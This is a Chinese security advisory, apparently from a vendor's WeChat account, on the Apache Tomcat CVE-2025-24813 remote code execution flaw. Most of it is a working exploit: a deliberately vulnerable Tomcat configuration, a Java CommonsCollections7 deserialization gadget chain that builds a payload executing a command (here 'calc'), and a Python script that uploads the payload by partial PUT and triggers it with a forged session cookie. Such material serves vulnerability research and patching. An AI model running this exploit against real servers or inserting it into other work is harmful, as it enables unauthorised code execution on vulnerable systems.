在数字化时代,服务器的安全性是保障企业运营和用户数据安全的关键防线。然而,最近山石网科应急响应中心监测到一个严重的安全漏洞,Apache Tomcat的反序列化漏洞(CVE-2025-24813)可能导致远程代码执行。这意味着攻击者可以在未经许可的情况下,在服务器上执行恶意代码,从而对系统造成严重威胁。
-
Default Servlet 启用写入功能(默认情况下处于禁用状态) -
支持partial PUT 操作(默认情况下处于启用状态) -
安全敏感文件上传的目标 URL 是公共文件上传目标 URL 的子目录 -
攻击者知晓正在上传的安全敏感文件的名称 -
安全敏感文件也通过部分 PUT 操作上传
-
Default Servlet 启用写入功能(默认情况下处于禁用状态) -
支持partial PUT操作(默认情况下处于启用状态) -
应用程序使用基于文件的 Tomcat 会话持久化,且存储位置为默认值 -
应用程序包含一个可能在反序列化攻击中被利用的库
tomcat: 9.0.98
<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.codereview</groupId><artifactId>CVE-2025-24813</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-jasper</artifactId><version>9.0.98</version></dependency><!-- 对应“应用程序包含一个可能在反序列化攻击中被利用的库” --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency></dependencies></project>
<?xml version="1.0" encoding="UTF-8"?><web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true"><session-config><session-timeout>60</session-timeout><!-- 设置会话超时时间 --></session-config><!-- Default Servlet 启用写入功能(默认情况下处于禁用状态) --><servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping></web-app>
<!-- 应用程序使用基于文件的 Tomcat 会话持久化,且存储位置为默认值--><Context><ManagerclassName="org.apache.catalina.session.PersistentManager"maxActiveSessions="-1"minIdleSwap="0"maxIdleSwap="0"maxSwappedSessions="1000"sessionDatabase="file"storeOnCommit="true"saveOnRestart="true"><StoreclassName="org.apache.catalina.session.FileStore"/><!-- 不要指定存储会话的目录,使用默认目录 --></Manager></Context>
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.map.DefaultedMap; import utils.reflection.Reflection; import utils.serialization.Serialization; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; /** * chain: * java.util.Hashtable#readObject * java.util.Hashtable#reconstitutionPut * org.apache.commons.collections.map.AbstractMapDecorator#equals * java.util.AbstractMap#equals * org.apache.commons.collections.map.LazyMap#get * org.apache.commons.collections.functors.ChainedTransformer#transform * ... */public classCommonsCollections7{ publicstaticvoidmain(String[] args)throws Exception { CommonsCollections7 commonsCollections7 = new CommonsCollections7(); commonsCollections7.serialize(); } publicvoidserialize()throws Exception { String cmd = "calc "; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), newInvokerTransformer( "getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, newObject[]{cmd} ) }; // 创建虚假的调用链 Transformer[] fakeTransformers = new Transformer[]{}; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map abstractMapDec = DefaultedMap.defaultedMap(new HashMap<>(), "test"); Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer); // hash 碰撞 abstractMapDec.put("yy", 1); lazyMap.put("zz", 1); Hashtable hashtable = new Hashtable<>(); hashtable.put(abstractMapDec, "AbstractMapDec"); hashtable.put(lazyMap, "lazy"); Reflection.setFieldValue(chainedTransformer, "iTransformers", transformers); lazyMap.remove("yy"); Serialization.serialize("payload.bin", hashtable); } }
import os import requests import time # payload路径 file_path = 'payload.bin'total_size = os.path.getsize(file_path) # 获取文件大小(字节数) with open(file_path, 'rb') as f: payload = f.read() # Content-Range 触发 "partial PUT" headers = { 'Content-Range': f'bytes 0-{total_size - 1}/{total_size}', # 指示整个文件范围 'Content-Length': str(total_size), # 设置请求体的长度 } baseurl = input("plese input the base url: ") try: # 上传恶意会话文件 session = requests.Session() res = session.put( url = f"{baseurl}/magic7/session", headers = headers, data = payload ) time.sleep(4) cookies = { 'JSESSIONID': '.magic7'# 设置 JSESSIONID Cookie } # 发送 GET 请求,反序列化".magic7.session"会话文件 requests.get(baseurl + "/index.jsp", cookies=cookies) except Exception as e: print(f"error: {e}") # 处理其他任何异常
-
>= 11.0.0-M1, < 11.0.3 -
>= 10.1.0-M1, < 10.1.35 -
>= 9.0.0.M1, < 9.0.99
原文始发于微信公众号(山石网科安全技术研究院):高危漏洞预警:Apache Tomcat远程代码执行漏洞曝光!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论